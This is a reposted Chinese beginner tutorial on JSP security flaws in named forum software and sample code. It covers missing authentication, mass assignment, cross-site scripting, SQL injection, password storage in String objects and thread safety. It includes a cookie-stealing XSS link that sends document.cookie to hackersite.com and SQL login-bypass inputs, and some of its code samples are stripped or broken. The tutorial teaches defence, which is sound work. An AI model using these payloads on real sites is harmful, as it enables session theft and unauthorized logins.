淺談JSP編程的安全實例分析
Java Server Page（JSP）作為建立動態(tài)網(wǎng)頁的技術(shù)正在不斷升溫。JSP編程和ASP、PHP、工作機制不太一樣。一般說來，JSP頁面在執(zhí)行時是編譯式，而不是解釋式的。首次調(diào)用JSP文件其實是執(zhí)行一個編譯為Servlet的過程。當(dāng)瀏覽器向服務(wù)器請求這一個JSP文件的時候，服務(wù)器將檢查自上次編譯后JSP文件是否有改變，如果沒有改變，就直接執(zhí)行Servlet，而不用再重新編譯，這樣，效率便得到了明顯提高。
今天我將和大家一起從腳本編程的角度看JSP的安全，那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內(nèi)了。寫這篇文章的主要目的是給初學(xué)JSP編程的朋友們提個醒，從一開始就要培養(yǎng)安全編程的意識，不要犯不該犯的錯誤，避免可以避免的損失。另外，我也是初學(xué)者，如有錯誤或其它意見請發(fā)帖賜教。
一、認(rèn)證不嚴(yán)——JSP編程低級失誤
在溢洋論壇v1.12 修正版中，
user_manager.jsp是用戶管理的頁面，作者知道它的敏感性，加上了一把鎖：
- if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系統(tǒng)管理員")))
- {
- response.sendRedirect("err.jsp?id=14");
- return;
- }
如果要查看、修改某用戶的信息，就要用modifyuser_manager.jsp這個文件。管理員提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
就是查看、修改ID為51的用戶的資料（管理員默認(rèn)的用戶ID為51）。但是，如此重要的文件竟缺乏認(rèn)證，普通用戶（包括游客）也直接提交上述請求也可以對其一覽無余（密碼也是明文存儲、顯示的）。modifyuser_manage.jsp同樣是門戶大開，直到惡意用戶把數(shù)據(jù)更新的操作執(zhí)行完畢，重定向到user_manager.jsp的時候，他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然，只鎖一扇門是遠(yuǎn)遠(yuǎn)不夠的，編程的時候一定要不厭其煩地為每一個該加身份認(rèn)證的地方加上身份認(rèn)證。
二、守好JavaBean的入口
JSP組件技術(shù)的核心是被稱為bean的java組件。在程序中可把邏輯控制、數(shù)據(jù)庫操作放在javabeans組件中，然后在JSP文件中調(diào)用它，這樣可增加程序的清晰度及程序的可重用性。和傳統(tǒng)的ASP或PHP頁面相比，JSP頁面是非常簡潔的，因為許多動態(tài)頁面處理過程可以封裝到JavaBean中。
要改變JavaBean屬性，要用到“”標(biāo)記。
下面的代碼是假想的某電子購物系統(tǒng)的源碼的一部分，這個文件是用來顯示用戶的購物框中的信息的，而checkout.jsp是用來結(jié)帳的。
- You have added the item
- to your basket.
- Your total is $
- Proceed to checkout
注意到property="*"了嗎？這表明用戶在可見的JSP頁面中輸入的，或是直接通過Query String提交的全部變量的值，將存儲到匹配的bean屬性中。
一般，用戶是這樣提交請求的：
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守規(guī)矩的用戶呢？他們可能會提交：
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
這樣，balance=0的信息就被在存儲到了JavaBean中了。當(dāng)他們這時點擊“chekout”結(jié)賬的時候，費用就全免了。
這與PHP中全局變量導(dǎo)致的安全問題如出一轍。由此可見：“property="*"”一定要慎用！
三、長盛不衰的跨站腳本
跨站腳本（Cross Site Scripting）攻擊是指在遠(yuǎn)程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本，竊取瀏覽此頁面的用戶的隱私，改變用戶的設(shè)置，破壞用戶的數(shù)據(jù)?？缯灸_本攻擊在多數(shù)情況下不會對服務(wù)器和WEB程序的運行造成影響，但對客戶端的安全構(gòu)成嚴(yán)重的威脅。
以仿動網(wǎng)的阿菜論壇（beta-1）舉個最簡單的例子。當(dāng)我們提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>alert(document.cookie)
便能彈出包含自己cookie信息的對話框。而提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.163.com'
就能重定向到網(wǎng)易。
由于在返回“name”變量的值給客戶端時，腳本沒有進(jìn)行任何編碼或過濾惡意代碼，當(dāng)用戶訪問嵌入惡意“name”變量數(shù)據(jù)鏈接時，會導(dǎo)致腳本代碼在用戶瀏覽器上執(zhí)行，可能導(dǎo)致用戶隱私泄露等后果。比如下面的鏈接：
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie
xxx.xxx用于收集后邊跟的參數(shù)，而這里參數(shù)指定的是document.cookie，也就是訪問此鏈接的用戶的cookie。在ASP世界中，很多人已經(jīng)把偷cookie的技術(shù)練得爐火純青了。在JSP里，讀取cookie也不是難事。當(dāng)然，跨站腳本從來就不會局限于偷cookie這一項功能，相信大家都有一定了解，這里就不展開了。
對所有動態(tài)頁面的輸入和輸出都應(yīng)進(jìn)行編碼，可以在很大程度上避免跨站腳本的攻擊。遺憾的是，對所有不可信數(shù)據(jù)編碼是資源密集型的工作，會對 Web 服務(wù)器產(chǎn)生性能方面的影響。常用的手段還是進(jìn)行輸入數(shù)據(jù)的過濾，比如下面的代碼就把危險的字符進(jìn)行替換：
更積極的方式是利用正則表達(dá)式只允許輸入指定的字符：
- public boolean isValidInput(String str)
- {
- if(str.matches("[a-z0-9]+")) return true;
- else return false;
- }
四、時刻牢記SQL注入
一般的JSP編程書籍在教初學(xué)者的時候都不注意讓他們從入門時就培養(yǎng)安全JSP編程的習(xí)慣。著名的《JSP編程思想與實踐》就是這樣向初學(xué)者示范編寫帶數(shù)據(jù)庫的登錄系統(tǒng)的（數(shù)據(jù)庫為MySQL）：
- Statement stmt = conn.createStatement();
- String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
- ResultSet rs = stmt.executeQuery(checkUser);
- if(rs.next())
- response.sendRedirect("SuccessLogin.jsp");
- else
- response.sendRedirect("FailureLogin.jsp");
這樣使得盡信書的人長期使用這樣先天“帶洞”的登錄代碼。如果數(shù)據(jù)庫里存在一個名叫“jack”的用戶，那么在不知道密碼的情況下至少有下面幾種方法可以登錄：
用戶名：jack
密碼：' or 'a'='a
用戶名：jack
密碼：' or 1=1/*
用戶名：jack' or 1=1/*
密碼：（任意）
lybbs（凌云論壇）ver 2.9.Server在LogInOut.java中是這樣對登錄提交的數(shù)據(jù)進(jìn)行檢查的：
if(s.equals("") ││ s1.equals(""))
throw new UserException("用戶名或密碼不能空。");
if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
throw new UserException("用戶名不能包括 ' \" \\ , 等非法字符。");
if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
throw new UserException("密碼不能包括 ' \" \\ * 等非法字符。");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("用戶名或密碼中不能用空格。");
但是我不清楚為什么他只對密碼而不對用戶名過濾星號。另外，正斜杠似乎也應(yīng)該被列到“黑名單”中。我還是認(rèn)為用正則表達(dá)式只允許輸入指定范圍內(nèi)的字符來得干脆。
這里要提醒一句：不要以為可以憑借某些數(shù)據(jù)庫系統(tǒng)天生的“安全性”就可以有效地抵御所有的攻擊。pinkeyes的那篇《PHP注入實例》就給那些依賴PHP的配置文件中的“magic_quotes_gpc = On”的人上了一課。
五、String對象帶來的隱患
Java平臺的確使安全編程更加方便了。Java中無指針，這意味著 Java 程序不再像C那樣能對地址空間中的任意內(nèi)存位置尋址了。在JSP文件被編譯成 .class 文件時會被檢查安全性問題，例如當(dāng)訪問超出數(shù)組大小的數(shù)組元素的嘗試將被拒絕，這在很大程度上避免了緩沖區(qū)溢出攻擊。但是，String對象卻會給我們帶來一些安全上的隱患。如果密碼是存儲在 Java String 對象中的，則直到對它進(jìn)行垃圾收集或進(jìn)程終止之前，密碼會一直駐留在內(nèi)存中。即使進(jìn)行了垃圾收集，它仍會存在于空閑內(nèi)存堆中，直到重用該內(nèi)存空間為止。密碼 String 在內(nèi)存中駐留得越久，遭到竊聽的危險性就越大。更糟的是，如果實際內(nèi)存減少，則操作系統(tǒng)會將這個密碼 String 換頁調(diào)度到磁盤的交換空間，因此容易遭受磁盤塊竊聽攻擊。為了將這種泄密的可能性降至最低（但不是消除），您應(yīng)該將密碼存儲在 char 數(shù)組中，并在使用后對其置零（String 是不可變的，無法對其置零）。
六、線程安全初探
“JAVA能做的，JSP就能做”。與ASP、PHP等腳本語言不一樣，JSP默認(rèn)是以多線程方式執(zhí)行的。以多線程方式執(zhí)行可大大降低對系統(tǒng)的資源需求，提高系統(tǒng)的并發(fā)量及響應(yīng)時間。線程在程序中是獨立的、并發(fā)的執(zhí)行路徑，每個線程有它自己的堆棧、自己的程序計數(shù)器和自己的局部變量。雖然多線程應(yīng)用程序中的大多數(shù)操作都可以并行進(jìn)行，但也有某些操作（如更新全局標(biāo)志或處理共享文件）不能并行進(jìn)行。如果沒做好線程的同步，在大并發(fā)量訪問時，不需要惡意用戶的“熱心參與”，問題也會出現(xiàn)。最簡單的解決方案就是在相關(guān)的JSP文件中加上: 指令，使它以單線程方式執(zhí)行，這時，所有客戶端的請求以串行方式執(zhí)行。這樣會嚴(yán)重降低系統(tǒng)的性能。我們可以仍讓JSP文件以多線程方式執(zhí)行，通過對函數(shù)上鎖來對線程進(jìn)行同步。一個函數(shù)加上synchronized 關(guān)鍵字就獲得了一個鎖?？聪旅娴氖纠?
- public class MyClass{
- int a;
- public Init() {//此方法可以多個線程同時調(diào)用
- a = 0;
- }
- public synchronized void Set() {//兩個線程不能同時調(diào)用此方法
- if(a>5) {
- aa= a-5;
- }
- }
- }
但是這樣仍然會對系統(tǒng)的性能有一定影響。一個更好的方案是采用局部變量代替實例變量。因為實例變量是在堆中分配的，被屬于該實例的所有線程共享，不是線程安全的，而局部變量在堆棧中分配，因為每個線程都有它自己的堆?？臻g，所以這樣線程就是安全的了。比如凌云論壇中添加好友的代碼：
- public void addFriend(int i, String s, String s1)
- throws DBConnectException
- {
- try
- {
- if……
- else
- {
- DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
- dbconnect.setInt(1, i);
- dbconnect.setString(2, s);
- dbconnect.executeUpdate();
- dbconnect.close();
- dbconnect = null;
- }
- }
- catch(Exception exception)
- {
- throw new DBConnectException(exception.getMessage());
- }
- }
下面是調(diào)用：
- friendName=ParameterUtils.getString(request,"friendname");
- if(action.equals("adduser")) {
- forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
- errorInfo=forumFriend.getErrorInfo();
- }
如果采用的是JSP編程中的實例變量，那么該實例變量屬于該實例的所有線程共享，就有可能出現(xiàn)用戶A傳遞了某個參數(shù)后他的線程轉(zhuǎn)為睡眠狀態(tài)，而參數(shù)被用戶B無意間修改，造成好友錯配的現(xiàn)象。
參考文獻(xiàn)：
Jordan Dimov：《JSP Security》
developerWorks：《Java安全性》
徐春金：編寫線程安全的JSP程序
轉(zhuǎn)載自——KM工作室
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